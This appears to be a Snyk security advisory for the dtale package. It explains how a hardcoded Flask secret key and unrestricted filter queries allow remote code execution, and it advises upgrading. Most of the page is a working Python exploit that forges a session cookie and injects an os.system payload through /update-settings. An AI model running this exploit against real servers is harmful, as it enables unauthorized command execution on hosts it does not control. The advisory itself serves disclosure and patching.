Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Input Validation vulnerabilities in an interactive lesson.
Start learningUpgrade dtale
to version 3.13.1 or higher.
dtale is a Web Client for Visualizing Pandas Objects
Affected versions of this package are vulnerable to Improper Input Validation due to the use of a hardcoded SECRET_KEY
in the flask configuration and improper restriction of custom filter queries. An attacker can forge a session cookie and execute arbitrary code on the server by bypassing the authentication mechanisms and exploiting the /update-settings
endpoint, even when enable_custom_filters
is not enabled.
Note:
This vulnerability can be exploited only if authentication is enabled.
import json, hashlib
from argparse import ArgumentParser
from urllib.parse import quote
# https://pypi.org/project/requests
from requests import Session # pip install requests
# https://pypi.org/project/itsdangerous/
from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", default="http://localhost:40000")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
args = parser.parse_args()
url_base = args.url + "/dtale"
cmd = args.cmd
# forge a cookie in case there was authentication enabled:
signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
session = ser.dumps({"logged_in" : True, "username" : "whatever"})
print(f"{session = }")
with Session() as s:
s.cookies["session"] = session
# create any pandas DataFrame:
rsp = s.post(f"{url_base}/upload", files={
"poc.csv" : ("poc.csv", b"A,B\n1,1\n", "text/csv")
})
assert rsp.json()["success"]
# grab data_id:
data_id = rsp.json()["data_id"]
print(f"{data_id = }")
# update settings for this data_id and set filter query directly bypassing
# any checks:
settings = {"query": f'@pd.core.frame.com.builtins.__import__("os").system("""{cmd} #""")'}
settings = quote(json.dumps(settings))
rsp = s.get(f"{url_base}/update-settings/{data_id}?settings={settings}")
assert rsp.json()["success"]
# call any of the endpoints that trigger `run_query()`:
rsp = s.get(f"{url_base}/edit-cell/{data_id}")
# this will return some error as a response, but command was executed anyway
print(rsp.text)